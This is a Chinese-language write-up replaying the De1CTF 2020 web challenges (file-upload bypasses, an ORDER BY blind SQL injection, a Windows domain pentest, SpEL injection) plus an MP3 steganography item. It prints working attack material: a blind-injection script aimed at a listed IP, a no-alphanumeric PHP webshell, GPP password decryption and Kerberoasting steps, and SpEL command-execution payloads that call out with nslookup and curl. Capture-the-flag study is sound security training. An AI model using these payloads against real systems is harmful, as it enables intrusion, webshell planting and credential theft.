0%

De1CTF2020-复现

WEB

1.check in

题目过滤很多关键字

image-20200507215250934

首先想到的是上传.htaccess但是把ph给过滤了,后面想上传user.ini 但auto被禁了

后面看了这篇文章利用 换行符”"绕过ph

image-20200507215853923

image-20200507215952735

image-20200507215058705

但这题的预期解是上传.htaccess

1
2
Options +ExecCGI
AddHandler cgi-script .sh

解析shell脚本

1
2
3
4
5
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit

可这题的有坑,官方复现说linux中cgi比较严格,在window下编辑脚本会因为编码问题服务器解析失败,必须在linux环境下编辑脚本再上传。

还有一个非预期是直接上别人的车。。。

上传.htaccess

1
SetHandler server-status

打开自己的上传就能看到apache的服务器状态,可以看到其他人的访问网站的记录,然后白嫖flag

这应该是后面为啥5分钟重启一次服务的原因吧

2.Mixture

在member.php的html源码中有orderby注释,应该是sql注入admin的密码

测试过滤的关键字 hex unhex desc exp 还有下面的

image-20200507221939844

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
url = "http://134.175.185.244/index.php"
data = {
"username":"xxxxx",
"password":"xxxxxxx",
"submit":"submit"
}
cookie ={
"PHPSESSID": "sou26piclav6f99h79k1l5vmbn"
}
requests.post(url,data=data,cookies=cookie)
flag=''
url="http://134.175.185.244/member.php?orderby="
sql='select database()' #test
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"#member,users
sql = 'select group_concat(column_name) from information_schema.columns where table_schema=database()' #id, username, password
sql = 'select password from member' #18a960a3a0b3554b314ebe77fe545c85
for i in range(1,33):
for j in '0123456789abcdefghijklmnopqrstuvwxyz,':
payload="|(mid(({}),{},1)='{}')%2b1".format(sql,i,j)
true_url=url+payload
r=requests.get(true_url,cookies=cookie)
if r.content.index('tom')<r.content.index('1000000'):
print payload+' ok'
flag+=j
print flag
break
else:
print payload
#18a960a3a0b3554b314ebe77fe545c85

跑出来的密码经过md5解密是goodlucktoyou

这里讨论以下其他师傅的payload学习一下

看到排名是是按照ID大小排的,所以猜测后台sql语句应该是

select * from users order by id + orderby传参

然后测试

orderby=|2 发现排名变了,这就是关键点了

select * from users order by id | 2

select * from users order by (id | 2)

排序是按位或之后排序的举个例子

image-20200514204948437

结果中 2|2 最小 排第一 其他不变也就是 2 1 3 4

image-20200514205159803

y1ng师傅用的是时间盲注

核心payload是

and case when (FIELD(substr((select database()),0,1),t)=1) then (benchmark(100000,sha1(sha(sha(1)))))end

field是mysql的一个自定义排序函数,

1
field(value,str1,str2,str3,str4)

value与str1、str2、str3、str4比较,返回1、2、3、4,如遇到null或者不在列表中的数据则返回0.

利用admin登入后,利用phpinfo的路径信息search功能下载源码

发现select.php 调用了个Minclude

image-20200514225953158

接着在phpinfo 发现了Minclude的扩展

找到so扩展目录,下载Mniclude.so

image-20200514225752470

image-20200514230159673

接下来就不是web狗的事了

3.Hard_Pentest_1

域渗透太顶了,只能赛后跟着wp内网漫游

文件上传文件名不能包含 ..\ 文件内容内容不能包含 数字字母;~^&|\反引号

这里需要注意的是这是一个window服务器

文件名绕过

1.利用window对于文件和文件名的限制,在以::$DATA字符放在结尾时,不符合操作系统命名规范,在最后生成文件时,字符会被自动删除

2.利用window不区分大小写绕过

文件内容绕过可以参考P神的无数字字母webshell,利用php短标签绕过 ;

1
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>

image-20200511210746555

再利用这个马写一个新的马

1
__=system&_=echo ^<?php eval($_POST['a']); > a.php

在window下 ^表示转义

既然是域渗透,当然得有个高级点的shell,我是用frp把kali的端口转发到公网vps,然后用蚁剑回弹了CS shell

然后用对域内进行信息收集,发现了Hint

1

打开Hint发现了个加密的压缩包

2

后面是利用利用SYSVOL还原组策略中保存的密码

然后接着收集信息

3

发现了HintZip_Pass用户

4

其OU是Zip_Password

5

然后有个gplink,然后对这个GPO信息收集

6

后面用Get-GPPPassword.ps1报错了

7

后面把cpassword复制下来 用gpp-decrypt解密

之所以能解密,是微软公布了私钥

image-20200514114823222

解压后,里面有flag和第二关的提示

根据提示对De1ta用户进行信息收集

8

发现web用户对De1ta用户的servicePrincipalName具有写权限,然后可以通过web用户给De1ta用户设置spn然后通过Kerberoasting获取hash,本地暴力破解密码

给De1ta用户设置spn

9

接着用Rubeus获取SPN的hash。后面写的时候环境突然没了 ,内网漫游结束了

4.calc

javaweb基本没接触过,看了些网上的文章算是学习吧

没了解过EL表达式 的可以看看这篇文章

从计算器页面的标签图标看,是一个Spring框架,而抓包看GET请求则是暗示spel表达式注入

常见payload

1
2
3
4
5
6
7
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
''.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')

先Fuzz发现过滤了一些关键字

1
2
3
4
5
6
7
8
ProcessBuilder
string
new
getclass
java.lang
Runtime
T(
#

因为目的是读文件,所以可以先不关注命令执行。但不管什么目的,致命的是 new关键字被拦截,无法创建对象实例。这可能导致很多技巧无法使用。

1.但依然可以找到合适的静态方法执行代码读取flag

1
java.nio.file.Files.readAllLines(java.nio.file.Paths.get("/flag"), java.nio.charset.Charset.defaultCharset())

转成SpEL语法

1
T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'), T(java.nio.charset.Charset).defaultCharset())

java的5种文件读取方法

但这里有个问题,T()被过滤了 但可以用 %00绕过

1
T%00(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Files").readAllLines(T%00(java.net.URLClassLoader).getSystemClassLoader().loadClass("java.nio.file.Paths").get("/flag"))

这里顺便提一下 T()和%00

1
2
3
T()  调用一个类的静态方法,它将返回一个 Class Object,会调用类作用域的方法和常量

后面用0x00截断绕过对T(的过滤。

2.利用大小写绕过new关键字过滤

1
nEw java.io.BufferedReader(nEw java.io.FileReader("/flag")).readLine()

3.利用java反射机制获取类

1
''.class.forName('java.nio.file.Files').readAllLines(''.class.forName('java.nio.file.Paths').get('/flag'))

同理也可以达到RCE的目的

1
''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')

payload分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
''.getClass()
// class java.lang.String

''.getClass().forName('java.la'+'ng.Ru'+'ntime')
// class java.lang.Runtime

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass())
// public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime')
// public static java.lang.Runtime java.lang.Runtime.getRuntime()

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null)
// java.lang.Runtime@c2939a

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')
// java.lang.ProcessImpl@f2f85c

MISC

记录几道有意思的吧

1.mc_easybgm

mp3的每一帧的第24位是一个保留位,可以用来隐写具体看图

image-20200521215418475

具体的加解密看脚本

image-20200521215823502

-------------本文结束感谢您的阅读-------------